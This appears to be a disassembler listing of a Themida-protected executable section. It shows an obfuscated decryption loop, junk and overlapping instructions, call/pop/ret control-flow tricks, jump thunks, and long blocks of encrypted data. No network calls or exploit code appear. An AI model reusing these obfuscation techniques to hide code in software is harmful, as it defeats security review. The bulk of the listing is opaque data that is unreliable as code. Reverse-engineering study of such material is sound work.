		dd 512657CDh, 48189567h, 0BCA309E6h, 6052F717h,	453C52BBh
		dd 0C2F1CD20h, 1EA03EDEh, 0D01DF5C7h, 0E9D84269h, 0DE525D54h
		dd 3D83130Eh, 156E4FCAh, 0E4B59438h, 5F116971h,	5192D1E9h
		dd 0F1723DBBh, 2F04F219h, 2FCDBE74h, 0E09B0A27h, 9F39D93Dh
		dd 81486926h, 9EBD657Ch
; ---------------------------------------------------------------------------


loc_5F5B84:				; CODE XREF: Themida_:005F5B28j
		call	sub_5F5B93
		sbb	al, 92h
		into
		and	eax, 0D7D8409Eh
		fpatan

; =============== S U B	R O U T	I N E =======================================



sub_5F5B93	proc near		; CODE XREF: Themida_:loc_5F5B84p

; FUNCTION CHUNK AT 005F5C22 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005F5C7B SIZE 00000008 BYTES

		mov	dx, 0C599h
		pop	esi
		mov	di, cx
		add	esi, 65E2h
		mov	bx, cx
		xor	eax, eax
		mov	ebx, [ebp+7FA0631h]


loc_5F5BAC:				; CODE XREF: Themida_:005F5C1Bj
		mov	ecx, [esi+eax]
		sub	bl, 0FBh
		sub	ecx, 275F7AC3h	; CODE XREF: sub_5F5B93+90j
		push	eax
		mov	[ebp+7FA18DDh],	edi
		pop	edx
		add	ecx, 472613B1h	; CODE XREF: sub_5F5B93+40j
		sub	ecx, 499FBB17h
		call	near ptr loc_5F5BD9+2
		jge	short near ptr loc_5F5BD7+1
		jg	short near ptr loc_5F5BC0+3
		jnp	short loc_5F5C22


loc_5F5BD7:				; CODE XREF: sub_5F5B93+3Ej
		xor	[ecx], cl


loc_5F5BD9:				; CODE XREF: sub_5F5B93+39p
		test	[esi+edx*2-4], esi
sub_5F5B93	endp ; sp-analysis failed

		pop	edi
		pop	edi
		mov	[esi+eax], ecx
		sub	[ebp+7FA266Dh],	edi
		sub	eax, 2
		mov	[ebp+7FA06A9h],	esi
		dec	eax
		dec	eax
		mov	di, cx
		cmp	eax, 0FFFF9AC4h
		jnz	loc_5F5C15
		jo	$+6
		jmp	near ptr loc_5F5C31+2
; ---------------------------------------------------------------------------
		fdivr	qword ptr [edx-49h]
		push	esi
		push	es
		setalc
		push	esi
		pop	ss


loc_5F5C15:				; CODE XREF: Themida_:005F5BFCj
		push	ecx
		mov	bx, 0B5D1h
		pop	edi
		jmp	loc_5F5BAC
; ---------------------------------------------------------------------------
		db 67h,	28h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F5B93


loc_5F5C22:				; CODE XREF: sub_5F5B93+42j
		nop
		jecxz	short near ptr loc_5F5BB2+5
		cmp	esi, [edi-37h]
		mov	ah, 0D8h
		wait
		pop	esi
		inc	edi
		inc	edi
		cmpsb
		ja	short loc_5F5C7B


loc_5F5C31:				; CODE XREF: Themida_:005F5C08j
		arpl	[esi+28C58D8Dh], bx
		add	[eax], ecx
		jz	loc_5F5C45
		mov	[ebp+7FA01A5h],	eax


loc_5F5C45:				; CODE XREF: sub_5F5B93+A6j
		mov	[ebp+7FA260Dh],	edi
		mov	[ebp+7FA1CD9h],	ecx
		mov	dword ptr [ebp+7FA31ADh], 7124h
		push	0
		push	ecx
		call	sub_5F5C66
		and	[ecx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5F5B93

; =============== S U B	R O U T	I N E =======================================



sub_5F5C66	proc near		; CODE XREF: sub_5F5B93+CBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5F5C66	endp

; ---------------------------------------------------------------------------
		dw 0DF2Bh
		db 11h,	0F5h, 8Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F5B93


loc_5F5C7B:				; CODE XREF: sub_5F5B93+9Cj
		xchg	eax, ebp
		add	eax, 0E807FA26h
		adc	[eax], al
; END OF FUNCTION CHUNK	FOR sub_5F5B93
; ---------------------------------------------------------------------------
		db 0
		dd 4142C800h, 0C2D53E0Dh, 0E991C95Ah, 0DED5A203h, 0D3BF662Fh
		dd 85C75E93h, 7FA2BD9h,	0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA243Dh]
		push	0
		push	ebx
		call	sub_5F5CB5
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F5CB5	proc near		; CODE XREF: Themida_:005F5CADp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5F5CB5	endp

; ---------------------------------------------------------------------------
		test	[esi-4], edx
		pop	eax
		sub	[ebp+7FA34ADh],	esi
		call	dword ptr [ebp+7FA1799h]
		push	0
		push	ecx
		call	sub_5F5CE0
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F5CE0	proc near		; CODE XREF: Themida_:005F5CD8p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5F5CE0	endp

; ---------------------------------------------------------------------------
		dd 5C951388h, 78CE5AAh,	0C1BED0CCh, 6A7DD040h, 1995FF00h
		dd 8B07FA10h, 0DD5BEBC0h, 3CA572C9h, 32823AC6h,	40AF39C9h
		dd 0F61DAB03h, 6D59FB0Eh, 0BBFD812Bh, 0AC4D5419h, 27BE0EE3h
		dd 8CBA6A13h, 0ACF80A72h, 93EA5DDCh, 17F1680Dh,	4C5F0ED2h
		dd 504F4CFEh, 4E382F98h, 765127DCh, 6F47F624h, 40ABA8F6h
		dd 4DED302Fh, 0A506F7ABh, 84CD8588h, 0E0D65862h, 0D1E916EEh
		dd 0FB000000h, 0D723758Bh, 0C3CA459Ch, 0DAB6E1C8h, 95A7ACABh
		dd 0F44592B3h, 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh
		dd 55207520h, 0F26BB79Bh, 9692A5BCh, 3A7594A1h,	9FB79960h
		dd 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h
		dd 9FA5B4h, 0F07B6B5Ch,	8A924Ah, 45F352D0h, 0A3F653F5h
		dd 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h,	0FD756BBFh
		dd 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh,	0B29EBD94h
		dd 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h
		dd 0B3ED7293h, 0B6D00097h, 0A8CD43F1h, 0F0h, 74470000h
		dd 0E0E3129Dh, 5E99h, 6	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5F744B
; ---------------------------------------------------------------------------
		push	8012C20h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	8012CFFh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	8012DEBh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	8012F17h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	8012FC8h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	80130BCh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	801315Eh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	801321Ah
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	80132E9h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	8013450h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	8013512h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	8013673h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	801377Bh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	80138E0h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	8013A58h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	8013C55h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	8013D7Dh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		db 51h
		dd 0F6A3D9C5h, 9F4C821Ch, 45F22876h, 0F19ED4CAh, 14487E20h
		dd 599785Fh, 0ACF222CFh, 5747C976h, 0FF9F7421h,	86A2FAC9h
		dd 7E7AD23h, 0A734EB51h, 78A2326Ch, 0EDFD7BBAh,	89B4108h
		dd 0F1AD63B8h, 0EA973D66h, 0B6D73929h, 0E7C24D7Fh, 47D23B7Fh
		dd 1E7FB51Eh, 4658B96Bh, 97314DDDh, 0DC07E1A4h,	87128C87h
		dd 166FB85Eh, 5EF85F8Bh, 810207E1h, 6788C0C7h, 4326406Fh
		dd 0B7000000h, 3ACA96F3h, 7635D0FAh, 9B4F6E78h,	0E7481C7Fh
		dd 88F14AFFh, 0C66C32E3h, 0E1608452h, 0BE49A207h, 0E1602B92h
		dd 5D9D3507h, 0E160DE41h, 0A26F0407h, 0DF4871FCh, 0F7FEB839h
		dd 406F6CBFh, 0F15Dh, 6CA7EE00h, 0CF42A732h, 34DF44CFh
		dd 997ADF6Ah, 0DE5BCF05h, 0A4FFE687h, 5A1DF36Fh, 0E687DB3Eh
		dd 47B009FFh, 0F42A93BCh, 920C075Ch, 8B38DE07h,	3B8B1688h
		dd 0C96F2FE6h, 0C032168h, 44992992h, 1E47D2CCh,	7C079779h
		dd 0F915AD53h, 7E0A85Bh, 7E20F287h, 747DF15h, 0B13C62B2h
		dd 0A7B91C88h, 8EE707E0h, 370287E8h, 0E0A7B81Bh, 0E085DE07h
		dd 76066F2Fh, 0D5170C36h, 0F00AAD5Ah, 1892593Eh, 9B4112EDh
		dd 0DDEEE427h, 0E979D20Fh, 7D5C7FA9h, 4954F59Fh, 471BF6A3h
		dd 7833C3CAh, 802B2C76h, 0BE638C17h, 94BD4856h,	0C948F52Bh
		dd 0BD17D5h, 538E999Bh,	1330B4h, 4F4FC700h, 0F8A66C19h
		dd 9E0015C2h, 4A54BB68h, 0F4AA6714h, 0EED58ABEh, 98457B23h
		dd 3FEC227Ch, 0EA97CDD1h, 703F7529h, 0AF99FC18h, 61C707E7h
		dd 346AA7AAh, 0DCC251FEh, 96F3EFA6h, 0AE103ACAh, 0AF51F193h
		dd 4B67FFA5h, 7E0C07Dh,	8E10055Ah, 0DE35DA03h, 78D11AC0h
		dd 1E8093E8h, 31C46A93h, 0E0C09E05h, 0E610A807h, 0AE5F3D1Ch
		dd 0DB5C02EBh, 4E285221h, 0E72691FAh, 0CC04D47Ah, 6A406EECh
		dd 0C9h, 326CA7FBh, 93CF42A7h, 6D96217Dh, 0D04D7904h, 8AFFE687h
		dd 47DF1589h, 8788EB07h, 55AEFFE6h, 8D1102AFh, 0C0A0E902h
		dd 0A8761430h, 0CB2407E0h, 6CA8FD95h, 5E2B8C32h, 2567202h
		dd 0C0FDD86h, 43CE23B3h, 0AFDC74Ah, 97001BACh, 415DB461h
		dd 9B336F83h, 16B5F099h, 1251h,	0F82E70A6h, 0A1D7C74Bh
		dd 477D21F4h, 0F329759Ah, 9DD3CB46h, 46CBB469h,	9F752258h
		dd 0F41CC9FFh, 4CC774AAh, 0F54D1C52h, 0E7AF76D9h, 7F369C07h
		dd 0E8277CBCh, 82E74AB6h, 0B40DFFE6h, 0D98060Fh, 80913EE4h
		dd 21648E1Eh, 933A64EAh, 76DFBF52h, 0D15C42D1h,	2CC402A8h
		dd 96FEC2ECh, 2855D441h, 0E74F59BCh, 882E87FFh,	306638DBh
		dd 326CA779h, 0D9C54DA2h, 0D83BA033h, 32E390C6h, 54BDE130h
		dd 0F9A56FC4h, 0C9F456Eh, 390692BCh, 0D7B28349h, 0F8F8431h
		dd 3DE700D9h, 4484144Ch, 0ED7826EFh, 0AAF558C4h, 0C21BFFE6h
		dd 6668841Ch, 4C07E0B1h, 0EC52B6F3h, 0CBFF6AE1h, 0A20C6F8Bh
		dd 0E13AF056h, 0B1AFDA3Bh, 0C5170521h, 6AC3F850h, 9DC3C6DFh
		dd 6467F10Dh, 227BFF6Eh, 0C8D63D92h, 702EE592h,	0EA3F34B2h
		dd 3BDA1569h, 1165h, 0E41A8492h, 8DC3DB37h, 336935E0h
		dd 0DF158986h, 89BFDF32h, 5AB7A055h, 0B3610E44h, 808B5EBh
		dd 60B36096h, 0E139083Eh, 0E7B062C5h, 732A9007h, 0A7326CA7h
		dd 0D565FB8Eh, 0E0A277B9h, 0CAF15B07h, 0B550DE5h, 0A90A40A9h
		dd 0D4F080E0h, 0FDB269Eh, 83C353ACh, 26C42743h,	99F2FFE7h
		dd 0E726CA2Dh, 0F99FF8FFh, 26D33A66h, 5CDDFFE7h, 32639BA2h
		dd 31013875h, 92000000h, 3ACA96F3h, 0E0D31D1Eh,	0E132C707h
		dd 84C454BDh, 0D2C52844h, 92EB07E0h, 0CDD13FECh, 0D2BE2397h
		dd 8F8407E0h, 0E42CD90Fh, 0BE902FBAh, 29000010h, 0F1AD67BCh
		dd 0C19FEA4Bh, 0AD871531h, 9AC407E7h, 8A687525h, 1064DEF0h
		dd 0A19153ABh, 9DF63FE5h, 435BB80Dh, 0EBB3600Dh, 1E424760h
		dd 0C439728Eh, 67BC0FE8h, 44DF3ABh, 4DC61BABh, 0A56E1B51h
		dd 0FF1469F9h, 65AF149Fh, 972AD039h, 0F7190B7Eh, 0B6CC896h
		dd 0C62FB9DBh, 19A9123Bh, 0C7524CC4h, 9281249Eh, 0FABEA6C4h
		dd 3EA0BC54h, 6407E0E1h, 0D6AE93FAh, 0EA535EFFh, 6774A42Ch
		dd 0AB4A859Eh, 1039h, 104658BEh, 0B9EFAF63h, 5F95090Ch
		dd 0B415DB2h, 0B5EBB35Eh, 2EE3CC81h, 878D3A70h,	0DC34E117h
		dd 34DF8CC2h, 0D65346Ah, 0E7B28EF1h, 974EB407h,	0FD607CBCh
		dd 0D4FFE682h, 0E68355B8h, 0E1227BFFh, 0C2797F77h, 0D942E8EEh
		dd 0E258BF33h, 0F737FFE6h, 0E6E278DBh, 9F459EFFh, 85154B3Eh
		dd 6D20F045h, 8940451h,	68F35C47h, 237B9A3Fh, 55C96F98h
		dd 7E86924h, 0F449D932h, 0AFEF7F1Fh, 0E8173093h, 7B23F207h
		dd 0FD3BE13Ah, 0F083B65h, 7EC02A4Bh, 0B6E82BD8h, 0E977122Bh
		dd 4CC41959h, 0F638AC52h, 0DC0FE1D8h, 8837C583h, 0D9149666h
		dd 0F883Ah, 0F7A76F00h,	0A0FE14C1h, 4658BD6Ah, 0F2AC6310h
		dd 9C020FBCh, 967D3266h, 40ED237Bh, 0E794CAD4h,	923F7529h
		dd 18E71D81h, 0B241A4C0h, 96F07E7h, 0B6CA752h, 0E6838CEFh
		dd 0EC4F6BFFh, 1AFFE682h, 0BE2780C1h, 283AD92Eh, 32CB7E7h
		dd 0FC61F49Ah, 0FEFC8717h, 0B71A3676h, 0DDFFE683h, 83DE415Dh
		dd 0AB04FFE6h, 611B9C42h, 0C6D83D92h, 7B98123Bh, 0E43BBE38h
		dd 0E119E98Fh, 0C83874E4h, 58FEA073h, 93F77h, 0CBE72700h
		dd 0FFE6D568h, 2EB9E52Ah, 0C56BC405h, 8E96F30Eh, 648D1886h
		dd 2B4F6BFBh, 5307E7ACh, 51406AFAh, 0A646948Ch,	75CF49Ah
		dd 0EC4F6B0Ch, 0E107E79Eh, 81453302h, 3B94D580h, 7F1842D2h
		dd 257997E2h, 0E8F7719Ah, 8F0F00DDh, 0CC72DB04h, 6C32E18Eh
		dd 0D74EB5E1h, 256407E7h, 4D8FAB3Bh, 790FE1F6h,	0EAA66220h
		dd 6CA79666h, 0E94CDh, 0EBB36300h, 940A08B5h, 3A64B15Eh
		dd 0E6B85704h, 900E03B0h, 8A71265Ah, 34E11787h,	0DB88BEE0h
		dd 86336935h, 0CDB118Dh, 0B33598B4h, 0F55B07E7h, 326CA73Eh
		dd 0F81778A2h, 7B05275Ah, 36DD42D5h, 6EDFDD68h,	675ADB4h
		dd 81133875h, 0C3000008h, 0F6046783h, 0B232FFE6h, 0E6F63396h
		dd 9F0861FFh, 79E042F9h, 8FFFE683h, 81D666FAh, 5C85108Eh
		dd 1E021EB6h, 4807E7ADh, 0CA1F5FEFh, 2AF5549h, 0DCC25111h
		dd 89BF2851h, 0DC6737DCh, 0A9AC6C3h, 0E1CBACEEh, 83419A0Fh
		dd 9666979Dh, 0F2E483BEh, 500000Dh, 0AA578D11h,	53003668h
		dd 0F9A6DCC2h, 0A5528816h, 0C8FC326Ch, 0B9E52C13h, 603ED683h
		dd 0B937D2Ah, 0B3EB28D5h, 3A56AE7Dh, 7E7B4D7h, 0BCE097FDh
		dd 4EF4AA67h, 0A12C72A1h, 37C7D73Ch, 8378DBF7h,	459EFFE6h
		dd 9E4C6CBh, 0D87EFE2Ah, 1CD64745h, 74FEDD15h, 7D27B38h
		dd 0F30C0000h, 1E3ACA96h, 7E7AD4Fh, 0F64F44Dh, 0E00A9A04h
		dd 65818254h, 7E87B02h,	3D5DD730h, 0E1BD559Dh, 0E794D278h
		dd 0BBE7722Ch, 7E79654h, 6B33DE33h, 0B011B7E0h,	213B76D9h
		dd 51DAFD7Eh, 0FA3C58E8h, 990FE1F3h, 43CED044h,	0BEAFA01Ah
		dd 5EC70AF2h, 58166FB8h, 96669C80h, 36AF4E89h, 0C100000Dh
		dd 66134955h, 0FBCF2ACh, 0B5629806h, 610E445Ah,	84B8EEB0h
		dd 7529E8CFh, 1C82923Fh, 0C7D739E6h, 6F2FE491h,	0F6126A39h
		dd 7E7B593h, 0A7A45BC1h, 42A7326Ch, 0E83DCDD1h,	3ED17727h
		dd 0E15CF40h, 38748AD6h, 72774h, 7EE00500h, 8CFFE683h
		dd 0B6E827FDh, 999022Bh, 0E7ACFBEDh, 0C152E707h, 161F63DDh
		dd 82112E62h, 0E1348919h, 0C6E232BDh, 7E80A63h,	29CF3891h
		dd 0C7D73C91h, 6F2FE491h, 385494E4h, 7E80AD5h, 9BFCA2FBh
		dd 0C6E272EEh
		dd 0FE236CCh, 0E3BB56ABh, 4A74F43Dh, 382E65EBh,	0BD208C09h
		dd 940FE202h, 0E2021578h, 0A1E23B0Fh, 2A20521h,	77D00FE2h
		dd 0FF627E0Eh, 250FE201h, 0FFA563CCh, 0CC9666DEh, 0C67F291h
		dd 86900000h, 0DD35E218h, 37DE8BC1h, 8B843167h,	0E130DD13h
		dd 9E5387BDh, 0C425CB5h, 0B3E9B55Fh, 5E940A06h,	63C62B1h
		dd 60C3DF37h, 8607E7B5h, 6CA76920h, 352EF221h, 0C750421h
		dd 0A7F71C81h, 15CF001Ch, 9180E231h, 0DF59820Dh, 0A9159AD2h
		dd 5E94FD8Ch, 7492568Eh, 168F438h, 0A7850000h, 42A7326Ch
		dd 3697CDD1h, 617D0D53h, 7E0ADC7h, 0C1DD378Ch, 67CAE636h
		dd 8D07E0ADh, 0DC25CB34h, 65CCF883h, 6F07E0ADh,	3B6534EEh
		dd 41AF356Ch, 1FEF951Bh, 406F1BE7h, 4A85h, 67BC1600h, 0EB4CF2ACh
		dd 1632C29Eh, 7E09C48h,	48ABC707h, 0A07E09Bh, 0E10A9509h
		dd 58A147A0h, 0E14874FFh, 0EB07E09Ah, 56BE1353h, 2894BD48h
		dd 7E09BC5h, 4A9A07B2h,	0A2E3458Fh, 6822A349h, 6F4B2961h
		dd 0C4C740h, 0A7580000h, 8CEF0B6Ch, 0BAFFE683h,	4955BC61h
		dd 0A12C95BEh, 3EC9D53Ch, 0D4643AD9h, 83157894h, 38D7FFE6h
		dd 26CC2566h, 0B9E52E93h, 0AFA20F83h, 0C3EDFFE6h, 0E3E77DA4h
		dd 0E49137BEh, 0B5DF6F2Fh, 63AD6A95h, 0D87B03Bh, 6C1208BEh
		dd 0A4BCCD2Eh, 0E222F814h, 8CE107E3h, 0B5110687h, 0B0DD5C54h
		dd 0FF58A147h, 0A7F71A6Fh, 8E84D971h, 54BD6A10h, 0D6A40723h
		dd 79D207E2h, 0F28E5210h, 346F9E61h, 0B0095h, 7F1FF700h
		dd 28769C49h, 0CED045F2h, 7A24EB98h, 247A9744h,	1E05BAEEh
		dd 0C875ABF3h, 6F1C524Ch, 1AC7FDA1h, 0A06FA5F9h, 0B7C92C48h
		dd 91F707E7h, 0D6AA7DAh, 0E6838EF1h, 0F25BB4FFh, 9A040FBCh
		dd 67BCAD64h, 0A24FF5A9h, 3DA22D71h, 0AB92C8D6h, 4E8h
		dd 0EAAA3963h, 63E60FEDh, 96F306BDh, 81E3ACAh, 9607E0A4h
		dd 1F86B23Dh, 2907E0A3h, 0F51FEEA8h, 0D3192AD6h, 7727EBF2h
		dd 6098680Eh, 0FE406EF8h, 1E8h,	8380E08Fh, 0FB8EFFE6h
		dd 0CDB9D565h, 1907E7ACh, 38DB30C0h, 7A96D666h,	7E7AC17h
		dd 3EE43Dh, 53DEC053h, 81114F3Ah, 0E1D86B65h, 40FE570Fh
		dd 9666A476h, 3E791853h, 0B900000Ah, 5E0B415Dh,	7B4EAB4h
		dd 0AD5A900Eh, 59063C62h, 7CB0E6B8h, 6D31E0C7h,	148A8A37h
		dd 0BFDF31DEh, 6737DC89h, 0EE0A6231h, 7E7B88Bh,	0A79C53B9h
		dd 7F1FF66Ch, 2A468616h, 0FFE683C7h, 0E4BA58EDh, 21C73059h
		dd 0B4EA298Eh, 5846CF24h, 6BFEA4CDh, 80641E4Fh,	5D50B93h
		dd 38748FCDh, 14B6Bh, 6CA7FC00h, 0D142A732h, 533697CDh
		dd 0EA287D0Dh, 36760EB4h, 0E46F2FE1h, 7A115BBh,	4C07E0AEh
		dd 0DD1F9A22h, 0A072095Ah, 0A6EF95FEh, 109B0311h, 0C7F37EE7h
		dd 7E10260h, 602FE96Ah,	527E0F36h, 0ED93743Fh, 6F74E51Dh
		dd 208340h, 0F3140000h,	1E3ACA96h, 7E09C50h, 3E6AF54Eh
		dd 7E09BD7h, 9FA660E1h,	406EA767h, 0CC05h, 7CBC9600h, 0E682FD60h
		dd 24CA23FFh, 77029C77h, 0F9FFF12h, 50D55BAh, 7CE50E99h
		dd 2285A1F1h, 50FFE683h, 55E88EF7h, 8BF1DB05h, 69D91534h
		dd 758B32EFh, 0BB61E70Dh, 0E99050Eh, 0FE346AA9h, 0E7332D8Ah
		dd 7E20F3FFh, 2F92AEEEh, 6FFE691h, 0E69187EAh, 1354ADFFh
		dd 75D614BAh, 0A0BC4C14h, 7E370CAh, 9AEF7FD8h, 59F12777h
		dd 28D1104h, 0BEE034D9h, 0D1A66B18h, 54127591h,	0E74007E3h
		dd 0E354187Bh, 7CE53E07h, 617086BEh, 0ED8CC79Eh, 8DDh
		dd 6CA2FC1Ah, 154B53BFh, 0BBF1AD68h, 679D010Eh,	114757BAh
		dd 0D23F28DDh, 2BE996CCh, 80903D73h, 0D83BE81Eh, 69C190C6h
		dd 0E7B8EA4Dh, 0FBB21807h, 0FE346AA7h, 0A6DCC251h, 326CA7EFh
		dd 0CDD142A7h, 7727E83Dh, 0CDAC93D1h, 45000002h, 3ACA96F3h
		dd 2A35D0FAh, 7BBE2778h, 0E6B7AC0Fh, 0DB81DAFFh, 0E1952743h
		dd 0D74107E7h, 0DBF7E9CAh, 7E7E378h, 0FCCB459Eh, 0A4C050A4h
		dd 7E79E41h, 22AD166Fh,	0E4937DD2h, 0E79E65C8h,	0C9328B07h
		dd 9E48AF23h, 0D15207E7h, 21F34817h, 23C9F27Dh,	75AA1B53h
		dd 247B940h, 29690000h,	7C4B39FFh, 0E854F900h, 7E7F285h
		dd 0F5AC52ABh, 0E68380E0h, 65FB8EFFh, 0AD1FB9D5h, 1F7407E7h
		dd 0BB04AAF4h, 7692D262h, 7E7AC13h, 0AA42E841h,	0AAE0BE55h
		dd 0F88816FDh, 0AC399CB8h, 0E6707E7h, 0CDBCD568h, 6EC30393h
		dd 4871FCA2h, 0D9342EA2h, 39920FE1h, 66A4D17Bh,	0A03F7A96h
		dd 7D5h, 74AAF422h, 1D534BC7h, 0C3F9A570h, 6FA5F916h, 194F4FC2h
		dd 0CA4730E5h, 23F19ED4h, 7898457Bh, 0D043F026h, 71C998CEh
		dd 0E7B9F255h, 3BA2007h, 0A2326CA7h, 82E34662h,	0B811FFE6h
		dd 0F91A7F12h, 0CDFE1AA5h, 0BAE42F13h, 8F7CB484h, 39633874h
		dd 3D7FE93Ch, 0AEB91C5h, 189h, 0F0AE65BAh, 8A140065h, 0A7C47B21h
		dd 42A7326Ch, 1B8391D1h, 6E1B7CB2h, 0AC4662F2h,	0DA07E0ADh
		dd 920C055Ah, 0F72DE07h, 3507E0ADh, 0B9E373DCh,	0E4B77274h
		dd 0FF9238C4h, 0F0536FAFh, 1607E0BDh, 3CA317BDh, 4607E0BEh
		dd 51AD84AEh, 40A4ECF0h, 9E3194B0h, 65F07E0h, 1E25DF60h
		dd 406EA5E6h, 2784h, 96F31500h,	501E3ACAh, 4E07E09Ch, 0D73E6AF5h
		dd 0E107E09Bh, 679FA660h, 5406EA7h, 0DCh, 0EFAF60B5h, 0DE953B64h
		dd 0A7326CA7h, 3FCFCF42h, 8380E3FFh, 4DA6FFE6h,	64AF14A7h
		dd 0C94AAF3Ah, 0DE2B9FD5h, 0B9FFE6FDh, 0AD026A8Fh, 0CC464AF2h
		dd 4977AA34h, 4AF79D30h, 64FDC4C9h, 78BB2440h, 1178D90Fh
		dd 0A86ABF4Fh, 9C426BF6h, 9412E804h, 0E74007E3h, 0BBD71757h
		dd 7E37158h, 0D27F257Eh, 0A5CF5F3Fh, 2C18AFD5h,	34DB80FCh
		dd 0D986C46Ah, 125538h,	0FAC6A655h, 9C67D391h, 8DC89E61h
		dd 670EEh, 0F8F8700h, 0B8E62CD9h, 5E40D582h, 0A947B28h
		dd 0B4EA27D4h, 0AE954A7Eh, 58053B63h, 0FFACE2BCh, 0AA578D11h
		dd 30FF3569h, 0BB59BCD8h, 218707E7h, 0D6AA76Ah,	0E6838EF1h
		dd 0F25BB4FFh, 44CD2262h, 3AA6CF5Ah, 0FFE683D7h, 0C0FEA4FDh
		dd 623CD328h, 5B08AED7h, 0F9B0E6B8h, 1D216CA7h,	0C4060E6h
		dd 4EE516Dh, 0BB14FFE7h, 0F95EE952h, 9FF4841Ah,	77A02B73h
		dd 0D35E40D2h, 0DFC604AAh, 2Ch,	326CA778h, 0CDD142A7h
		dd 6B33DD42h, 6987BE0h,	4600297Bh, 75B5059Eh, 0E682F659h
		dd 1DC31CFFh, 15FEE29Ch, 246C5389h, 5000000h, 0A7326CA7h
		dd 0E683157Bh, 0D38D0EFFh, 6884C404h, 0FFE68305h, 366D22Bh
		dd 31FFE683h, 8E8532D8h, 0A723DA10h, 8EA7326Ch,	78A454FBh
		dd 7252B5D1h, 2780FFE7h, 0E46F6ADh, 0E30C9707h,	623CD57Ah
		dd 0B545AED7h, 0E86A0B99h, 0EC084807h, 7E81789h, 16E94C68h
		dd 0BE1707E8h, 927F247Dh, 0B258810Ch, 233FD469h, 0FD26B1EDh
		dd 77E00994h, 1D8192E7h, 0C5D93AE7h, 76D9F535h,	9C07E817h
		dd 179D001Ch, 6AC307E8h, 2E848701h, 65AD11C7h, 76132CBFh
		dd 0C51A5AEAh, 9EC7524Ch, 0CF4B84F8h, 20790FE8h, 0C6D83B90h
		dd 0E0338820h, 38DB88BEh, 0C7C2DB66h, 8BED0999h, 6807E0B6h
		dd 0F99E0013h, 95DE841Ah, 82E87E3Ch, 2E699E67h,	4F88Fh
		dd 8717FF00h, 306EA451h, 0D6C84DFAh, 821CF3A0h,	2C729F4Ch
		dd 260DC2F6h, 0D07DB3EBh, 77245A44h, 22CF0599h,	0A877ADF1h
		dd 0BDD13450h, 99FF07E7h, 326CA7E2h, 0E34662A2h, 11FFE682h
		dd 27D412B8h, 0C227B2ECh, 0A6C24D51h, 3CD7BB75h, 245C2C62h
		dd 0C238748Fh
		dd 57h,	1392BC53h, 963356FAh, 6E30E287h, 3E2267C8h, 0DE9192AEh
		dd 0DA3307E0h, 8CE00A4Ah, 5379CFE8h, 967A27CDh,	0F95ED208h
		dd 0BF07E14Bh, 7C144A54h, 94A55152h, 31D72083h,	87128C84h
		dd 702EE237h, 2F16BCE5h, 459h, 6EF0BDE7h, 9E108633h, 759E2975h
		dd 0BCAF660Ch, 0AECAAD67h, 0FFE6834Bh, 11B72079h, 60B3AF64h
		dd 0E54AD53Eh, 0D93A702Eh, 420B0B0h, 7E0AE6Ah, 0FEA074C9h
		dd 26B60F58h, 0C22A7FFCh, 731927C5h, 866690E0h,	385DC917h
		dd 30970BB1h, 3A07E131h, 0C0F8FFB9h, 5E406F39h,	5Ah, 0B996F3EFh
		dd 0DE45E602h, 8CEF0B4Bh, 0BAFFE745h, 0FF8FF861h, 0E15E15E3h
		dd 987C1107h, 0E9527B06h, 57B90E5Eh, 0C62DA147h, 0D007E15Dh
		dd 0B1370E38h, 0E435907Ah, 0D29A8F6Ah, 17BDE569h, 9DD5DC96h
		dd 84406EEAh, 0D2C52844h, 92EB07E0h, 0C4B18118h, 0D076C022h
		dd 0E2EFh, 7CBC8000h, 0E682FD60h, 24CA23FFh, 4BC69C77h
		dd 0F9FC853h, 0E68390F3h, 0F45DB6FFh, 910D0469h, 2C72A106h
		dd 15FC51A1h, 82E34662h, 0B811FFE6h, 0F59BC44Fh, 9DD3CB48h
		dd 3E60B005h, 2EE58AB3h, 0D956CA70h, 0B4FFE687h, 5EE9B55Fh
		dd 31E28F35h, 898A376Dh, 0FA3A8A15h, 0E6877BDEh, 0AA50A9FFh
		dd 90204049h, 8618FB50h, 9C866CE0h, 5BB407E0h, 49A76CBh
		dd 6CAA5079h, 6BA67E0Bh, 17801EF7h, 96FF9F72h, 770EEA06h
